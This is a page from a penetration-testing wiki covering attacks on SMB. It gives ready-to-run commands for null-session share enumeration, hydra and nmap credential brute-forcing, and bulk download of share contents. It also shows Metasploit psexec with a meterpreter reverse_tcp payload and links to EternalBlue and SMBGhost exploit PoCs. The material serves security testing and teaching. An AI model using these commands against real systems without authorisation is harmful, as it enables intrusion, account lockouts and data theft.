The Hacker Recipes
GitHubTwitterExegolTools
  • Introduction
  • Active Directory
    • Reconnaissance
      • DHCP
      • DNS
      • NBT-NS
      • Responder ⚙️
      • Port scanning
      • LDAP
      • BloodHound ⚙️
      • MS-RPC
      • enum4linux ⚙️
      • Password policy
    • Movement
      • Credentials
        • Dumping
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Group Policy Preferences
          • Network shares
          • Network protocols
          • Web browsers
          • In-memory secrets
          • Kerberos key list
          • 🛠️Cached Kerberos tickets
          • 🛠️Windows Credential Manager
          • 🛠️Local files
          • 🛠️Password managers
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
        • Impersonation
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
        • 🛠️Living off the land
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate
        • sAMAccountName spoofing
        • SPN-jacking
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Netlogon
        • ZeroLogon
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • SCCM / MECM
        • Privilege escalation
        • Post-exploitation
      • Exchange services
        • 🛠️PrivExchange
        • 🛠️ProxyLogon
        • 🛠️ProxyShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Schannel
        • Pass the Certificate
      • Built-ins & settings
        • Security groups
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • DC Shadow
      • SID History
      • Skeleton key
      • GoldenGMSA
      • AdminSDHolder
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • 🛠️DACL abuse
      • Shadow Principals (PAM)
  • Web services
    • Reconnaissance
      • HTTP response headers
      • Comments and metadata
      • Error messages
      • Site crawling
      • Directory fuzzing
      • Subdomains enumeration
      • Subdomain & vhost fuzzing
      • Web Application Firewall (WAF)
      • Content Management System (CMS)
      • Other technologies
      • Known vulnerabilities
    • Configuration
      • Default credentials
      • HTTP methods
      • HTTP security headers
        • Clickjacking
        • MIME type sniffing
        • 🛠️CORS (Cross-Origin Resource Sharing)
        • 🛠️CSP (Content Security Policy)
      • HTTP request smuggling
      • HTTP response splitting
      • Insecure Cookies
      • Denial of Service (DoS)
      • Identity and Access Management
        • 🛠️OAuth 2.0
    • Accounts and sessions
      • Security policies
      • Password change
      • 🛠️Password reset
      • Account creation
      • 🛠️Account deletion
      • 🛠️Logging in
    • User inputs
      • File inclusion
        • LFI to RCE
          • logs poisoning
          • phpinfo
          • file upload
          • PHP wrappers and streams
          • PHP session
          • /proc
        • RFI to RCE
      • Unrestricted file upload
      • SQL injection
      • XSS (Cross-Site Scripting)
      • CSRF (Cross-Site Request Forgery)
      • SSRF (Server-Side Request Forgery)
      • IDOR (Insecure Direct Object Reference)
      • ORED Open redirect
      • Content-Type juggling
      • XXE injection
      • Insecure JSON Web Tokens
      • 🛠️HTTP parameter pollution
      • 🛠️SSTI (Server-Side Template Injection)
      • 🛠️Insecure deserialization
      • 🛠️CRLF injection
      • 🛠️Arbitrary file download
      • 🛠️Directory traversal
      • 🛠️Null-byte injection
  • Systems & services
    • Reconnaissance
      • 🛠️Hosts discovery
      • Port scanning
    • Initial access (protocols)
      • 🛠️FTP
      • 🛠️SSH
      • 🛠️Telnet
      • 🛠️DNS
      • 🛠️HTTP
      • 🛠️Kerberos
      • 🛠️LDAP
      • 🛠️SMB
      • 🛠️RTSP
      • 🛠️MSSQL
      • 🛠️NFS
      • 🛠️MySQL
      • 🛠️RDP
      • 🛠️WinRM
    • Initial access (phishing)
    • Privilege escalation
      • Windows
        • 🛠️Credential dumping
        • 🛠️Unquoted path
        • 🛠️Scheduled tasks
        • 🛠️Weak service permissions
        • 🛠️Vulnerable drivers
        • 🛠️Account privileges
        • 🛠️Kernel exploitation
        • 🛠️Windows Subsystem for Linux
        • 🛠️Runas saved creds
        • Unattend files
        • 🛠️Network secrets
        • 🛠️Living off the land
      • UNIX-like
        • SUDO
        • SUID/SGID binaries
        • 🛠️Capabilities
        • 🛠️Network secrets
        • 🛠️Living off the land
    • Pivoting
      • 🛠️Port forwarding
      • 🛠️SOCKS proxy
  • Evasion
    • (AV) Anti-Virus
      • 🛠️Loader
      • 🛠️Dropper
      • 🛠️Obfuscation
      • 🛠️Process injection
      • 🛠️Stealth with C2
    • 🛠️(EDR) Endpoint Detection and Response
  • 🛠️Physical
    • Locks
    • Networking
      • Network Access Control
    • Machines
      • HID injection
      • Keylogging
      • BIOS security
      • Encryption
      • Airstrike attack
    • Super secret zones
      • 🍌Banana & chocolate cake
      • 🍳Omelette du fromage
      • 🍔Burger du seigneur
      • 🥞The Pancakes of Heaven
  • 🛠️Intelligence gathering
    • CYBINT
      • Emails
      • Web infrastructure
    • OSINT
    • GEOINT
  • 🛠️RADIO
    • RFID
      • Mifare Classic
        • Default keys
        • Darkside
        • Nested
    • Bluetooth
    • Wi-Fi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Wireless keyboard/mouse
  • 🛠️mobile apps
    • Android
      • Android Debug Bridge ⚙️
      • APK transform
      • Magisk
    • iOS
      • Certificate pinning
Powered by GitBook
On this page
  • Theory
  • Practice
  • Null session
  • Bruteforce
  • Data exfiltration
  • 🛠️ Authenticated RCE
  • 🛠️ Unauthenticated RCE
  • Resources

Was this helpful?

  1. Systems & services
  2. Initial access (protocols)

SMB

PreviousLDAPNextRTSP

Last updated 1 year ago

Was this helpful?

Theory

SMB (Server Message Block) is a protocol running on port 445/tcp. It is used to share access to files, printers and serial ports on a network

In 1996 Microsoft releases a customized SMB they call CIFS (Common Internet File System). CIFS can sometimes be referred to as SMB1 (or SMBv1, SMB 1.0). In 2006, Microsoft introduced SMB2 (also referred to as SMB 2.0), a new version of the CIFS protocol. In 2012, Microsoft released SMB3 (a.k.a. SMB 3.0). As of 2020, most systems use SMB 2.0 or above.

In short, SMB is the protocol, CIFS is an old dialect of SMB, and Samba is the Linux/UNIX-like implementation of the SMB protocol (see ).

Practice

Null session

The null session, if not disabled, allows for anonymous/guest access to a network resource when using no credentials

Tools like (C) and (Python) can be used to access SMB shares with null sessions. Null credentials do not have to be explicitly set in this case.

# List shares
smbclient --list //$IP
smbmap -H $IP

# List shares (implicit null creds)
smbclient --no-pass --list //$IP

# List shares (explicit null creds)
smbclient --user ''%'' --list //$IP
smbmap -u '' -p '' -H $IP

# Open an interactive session to operate on a specific share
smbclient //$IP/$SHARE_NAME

(Python) can be used to test for null session on multiple hosts.

netexec smb $TARGETS -u '' -p '' --shares

The net cmdlet can be used to natively interact with SMB shares and explicitly set null credentials.

If null credentials are not explicitly set, Windows will natively use implicit credentials (e.g. Kerberos tickets in cache, logged on user creds or computer account)

net use \\$IP\$SHARE_NAME '' /user:''

Bruteforce

In addition to not being stealthy at all, and depending on the password policy rules in place, bruteforcing authentication could lead to accounts getting locked out when reaching maximum allowed tries.

# hydra
hydra -L usernames.txt -P passwords.txt $IP -V -f smb

# Metasploit module to use
msf5 > use auxiliary/scanner/smb/smb_login

# nmap
nmap --script smb-brute -p 445 $IP

Valid credentials can then be used to list accessible shares and enumerate the contents of the shares the account has access to.

Data exfiltration

# In an smbclient interactive session
recurse ON
prompt OFF
mget *

# With netexec
netexec smb $TARGETS -u $USERNAME -p $PASSWORD -M spider_plus -o READ_ONLY=False

🛠️ Authenticated RCE

PSExec exploit module runs on the same principle as the PSExec Windows utility. The exploit embeds a payload into an executable, upload it into the Admin$ share. It then calls the Service Control Manager to approximately start a new rundll32.exe process that will execute our malicious executable.

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > show options
Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.57.131   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPass                   no        The password for the specified username
   SMBUser  Administrator    yes       The username to authenticate as

Privileged user credentials required.

File uploading, creating, starting, stopping, deletion of services makes it really noisy.

Smbexec works like Psexec, but instead of trying to execute an uploaded executable inside the share, it will try to use directly the binaries cmd.exe/powershell.exe. The exploit create an arbitrary service with the Service File Name attribute set to a command string to execute. It echoes the command to be executed to a .bat file, execute it and delete it.

The exploit then get the output of the command via Smb and displays the content. For every command, a new service is created.

%COMSPEC% is the environment variable that generaly points to the command line interpreter. (cmd.exe, powershell.exe...)

The purpose of using /Q option of cmd is to stop displaying output. (je crois que ça veut dire /quiet à vérifier)

Prioritize using Smbexec when you detect a strong AV, cmd.exeis a trusted component of the operating system.

Privileged user credentials required.

Windows Management Instrumentation is a subsystem of PowerShell that gives high privileged access to system monitoring tools.

Wmiexec has a similar approach to smbexec but it is executing commands through WMI.

DCOM is a way for a computer to run a program over the network on a different computer as if the program was running locally.

Dcomexec has a similar approach to psexec but it is executing commands through DCOM.

netexec is a swiss army that has featured a lot of the command execution methods mentionned precedently.

One of its feature is to automate the process of executing code via SMB by switching between methods when one fails.

🛠️ Unauthenticated RCE

Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server. Other related exploits were labelled asEternalchampion, Eternalromance and Eternalsynergy.

Smbghost is a bug occuring in the decompression mechanism of client message to a SMBv3.11 server. This bug leads remotely and without any authentication to a BSOD or an RCE on the target.

Smbleed allows to leak kernel memory remotely, it is also occuring in the same decompression mechanism as smbghost.

In order for the target to be vulnerable, it must have the SMBv3.1.1 implementation running and the compression function enabled, which is on by default.

Resources

Tools like , or can be used to operate authentication bruteforce attacks.

Tools like and can be used to recursively download a SMB share's content.

🛠️
this
smbclient
smbmap
NetExec
hydra
metasploit
nmap
smbclient
NetExec
impacket/smbexec.py at master · SecureAuthCorp/impacketGitHub
Exploit
Logo
impacket/wmiexec.py at master · SecureAuthCorp/impacketGitHub
Exploit
impacket/dcomexec.py at master · SecureAuthCorp/impacketGitHub
Exploit
GitHub - Pennyw0rth/NetExec: The Network Execution ToolGitHub
GitHub - worawit/MS17-010: MS17-010GitHub
POC
Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC - ZecOps BlogZecOps Blog
Walktrough
GitHub - ZecOps/CVE-2020-0796-RCE-POC: CVE-2020-0796 Remote Code Execution POCGitHub
POC
SMBleedingGhost Writeup: Chaining SMBleed (CVE-2020-1206) with SMBGhost - ZecOps BlogZecOps Blog
Walktrough
Logo
GitHub - ZecOps/CVE-2020-1206-POC: CVE-2020-1206 Uninitialized Kernel Memory Read POCGitHub
POC
What is WMI? Let's learn all about this in this articlePandora FMS Monitoring Blog
Logo
139,445 - Pentesting SMBHackTricks
What is DCOM (Distributed Component Object Model)?
Logo
Logo
https://www.optiv.com/blog/owning-computers-without-shell-accesswww.optiv.com
Logo
Logo
Logo
Logo
Logo
Logo
Logo